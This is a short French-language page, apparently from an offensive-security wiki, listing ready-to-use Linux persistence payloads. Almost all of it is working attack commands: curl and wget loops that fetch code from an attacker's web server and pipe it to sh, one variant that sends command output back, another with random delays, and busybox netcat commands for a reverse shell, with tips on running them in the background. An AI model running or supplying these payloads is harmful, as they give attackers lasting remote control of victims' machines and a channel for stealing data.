Skip to main content

[Persistence/Linux] Payloads

Introduction

Cette page référence quelque payloads prêt à l'emploi pour de la persistance Linux.

Payloads

curl

Le payload suivant va récupérer la charge sur le serveur web de l'attaquant toutes les 60 secondes et l'exécuter :

while true; do curl -s http://localhost|sh; sleep 60; done

L'avantage c'est que vous pouvez changer la charge côté attaquant et ne pas forcément déclencher directement un revshell.

Voici la version améliorée pour obtenir le résultat de la commande dans une deuxième requête :

while true;do d=$(curl -s http://localhost|sh);curl -s http://localhost/?d=$d;sleep 3;done

Voici une version qui rajoute un délai aléatoire entre 1 et 10 secondes entre chaque requête :

while true;do sleep $(( 1 + RANDOM % 10 ));curl -s http://localhost|sh;done

À noter que vous pouvez rajouter le caractère & à la fin du payload pour le lancer dans un nouveau process.

wget

Voici la version wget du payload ci-dessus :

while true; do wget -qO - http://localhost|sh; sleep 60; done

busybox revshell

  • Côté attaquant :
busybox nc -lvp 4444
  • Côté victime :
busybox nc localhost 4444

Ou alors pour détacher le process :

busybox nc localhost 4444 &